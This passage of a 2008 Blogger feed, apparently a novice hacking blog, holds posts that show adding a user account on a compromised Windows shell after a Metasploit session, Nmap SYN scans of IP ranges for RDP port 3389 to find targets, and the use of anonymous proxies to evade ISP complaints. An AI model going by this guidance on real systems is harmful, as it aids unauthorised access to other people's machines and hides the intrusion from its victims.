/&gt;We are going to add a user named metasploit.&lt;br /&gt;C:\WINDOWS\system32&gt;&lt;br /&gt;&gt;&gt; net user metasploit /add&lt;br /&gt;net user metasploit /add&lt;br /&gt;The command completed successfully.&lt;br /&gt;C:\WINDOWS\system32&gt;&lt;br /&gt;You can choose to change the users password, change admin password etc.. have fun with it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-8862629929316917148?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/8862629929316917148/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=8862629929316917148' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/8862629929316917148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/8862629929316917148'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2008/05/metasploit.html' title='MetaSploit'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-7757370875447112732</id><published>2008-05-07T10:10:00.000-04:00</published><updated>2008-05-07T11:40:12.883-04:00</updated><title type='text'>Proxy</title><content type='html'>To start off you are going to want to use proxys. It is a good habit to get into in case you are just browsing the web and come across bad source code later on and want to exploit it. Its relativley simple. You can just google anonymous proxy and get a list of proxy servers. You might have to try around 10 of them to find one that is working and isn't uber slow. To setup a proxy on Firefox in linux you go to&lt;br /&gt;Edit&lt;br /&gt;Options&lt;br /&gt;Advanced&lt;br /&gt;Connection-Settings&lt;br /&gt;Manual proxy configuration&lt;br /&gt;Then you would just fill it in according to the information you found on the proxy list. To test you just browse to whatismyip.com and if it says your Ip is that of the Proxy server then you are ready to go!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-7757370875447112732?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/7757370875447112732/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=7757370875447112732' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/7757370875447112732'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/7757370875447112732'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2008/05/proxy.html' title='Proxy'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-4189421963209971739</id><published>2008-05-06T10:04:00.000-04:00</published><updated>2008-05-06T10:33:48.925-04:00</updated><title type='text'>NMap</title><content type='html'>Nmap is a great tool, first you install nmap I'm a FreeBSD guy so to install all I do is.&lt;br /&gt;#cd /usr/ports/security/nmap&lt;br /&gt;#make install clean&lt;br /&gt;Now nmap is installed there are many type of scans you can do. I choose to do syn scans. A syn scan is pretty much like playing ding dong ditch. You &lt;span id="1g7s"&gt;Initiate&lt;/span&gt; a 3way handshake and you wait for the response and leave you never return the third handshake. To do a syn scan you use the switch -sS. Another good switch you will want to add is -P0(zero) this will make nmap run even if it doesn't get a respond from the ping. This is good because allot of firewalls block icmp requests. The most important switch is the port switch -p"port#". You can either tell nmap to look at a port or a range of ports, I usually choose port 3389 mstsc port, You will find out what OS its running, XP Vista Server 2k of server 03 just by logging on. so the command will look something like this to scan 3389 with all the switches I talked about.&lt;br /&gt;#nmap -p3389 -P0 -sS&lt;br /&gt;The next thing you have to include in the command is the IP address. You can either scan an IP or a range of IP. I usually scan a range on Thursday night for by the time its Friday night I'll have something to do. To scan the IP 192.168.1.107 you would do this.&lt;br /&gt;#nmap -p3389 -P0 -sS 192.168.2.107&lt;br /&gt;To scan 192.168.2.0-255 you would use the /24 for all of you who don't know what the 24 is it means 255.255.255.0 which equates to 24 1's 11111111.11111111.11111111.00000000 so the command will look something like&lt;br /&gt;#nmap -p3389 -P0 -sS 192.168.2.0/24&lt;br /&gt; The results of the Scan will look something like this.&lt;br /&gt;PORT     STATE    SERVICE&lt;br /&gt;3389/tcp filtered ms-term-serv&lt;br /&gt;If the program isn't listening on 3389 and you have a firewall it will say filtered. If nothing is listening on the port and you don't have a firewall it will say closed and if something is listening on that port it will say open.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-4189421963209971739?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/4189421963209971739/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=4189421963209971739' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/4189421963209971739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/4189421963209971739'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2008/05/nmap.html' title='NMap'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-391073311697439627</id><published>2008-05-06T09:08:00.000-04:00</published><updated>2008-05-06T09:28:22.034-04:00</updated><title type='text'>Programs</title><content type='html'>Lets get this straight 90% real hackers do not use pre made programs. What alot of hackers due is browse the web and look at source code for bad code or an opening. But I'm going to go with that most you don't know html, php etc... enough to spot these flaws. There are plenty of great tools out there for beginners to use such as.&lt;br /&gt;Nmap&lt;br /&gt;metasploit&lt;br /&gt;tsgrinder&lt;br /&gt;Security is a big thing for a hacker to practice, you don't want your scans coming back to you like a company calling you isp and saying this guy is port scanning me. So it is a good idea to always use a proxy or a proxy chain. Its pretty easy to find out who's port scanning you. I opened a log off my firewall and got this IP of someone who portscaned 5 of my ports 216.77.188.54 then I just go to Arin plug in the IP and bam I have an ISP Bell south and a location in the country Atlanta GA.&lt;br /&gt;If you nmap a company with a static IP you probably will never get a call, unless they have an anal tech guy. It would take me about a week to go through a day of port scan logs so its not very worth it in my perspective. But do this without a proxy at your own risk. And make sure the proxy is anonymous and not transparent. LOL&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-391073311697439627?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/391073311697439627/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=391073311697439627' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/391073311697439627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/391073311697439627'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2008/05/programs.html' title='Programs'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7029036124143293621.post-6631590818883034267</id><published>2008-05-06T08:49:00.000-04:00</published><updated>2008-05-06T09:06:36.366-04:00</updated><title type='text'>Welcome</title><content type='html'>So I'm going to introduce some of you into the world of hacking. Over the next couple months I'm going to teach you how to come from being a complete n00b to script kiddy to some one who knows there stuff. Theres many different types of hackers I'm not going to get into the hacker vs cracker speech because the are both good skills to have. I find hardware hacking more fun the software, probably because I'm good at hardware hacking, but I've been teaching myself computer hacking for a couple years now and I'll show you what I have learned. Not all hacking is bad it comes in very handy when you are a Network Administrator. Well Hope you guys enjoy&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7029036124143293621-6631590818883034267?l=wcosughacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wcosughacking.blogspot.com/feeds/6631590818883034267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7029036124143293621&amp;postID=6631590818883034267' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/6631590818883034267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7029036124143293621/posts/default/6631590818883034267'/><link rel='alternate' type='text/html' href='http://wcosughacking.blogspot.com/2008/05/welcome.html' title='Welcome'/><author><name>WCOSUG</name><uri>http://www.blogger.com/profile/08314145983015840509</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry></feed>
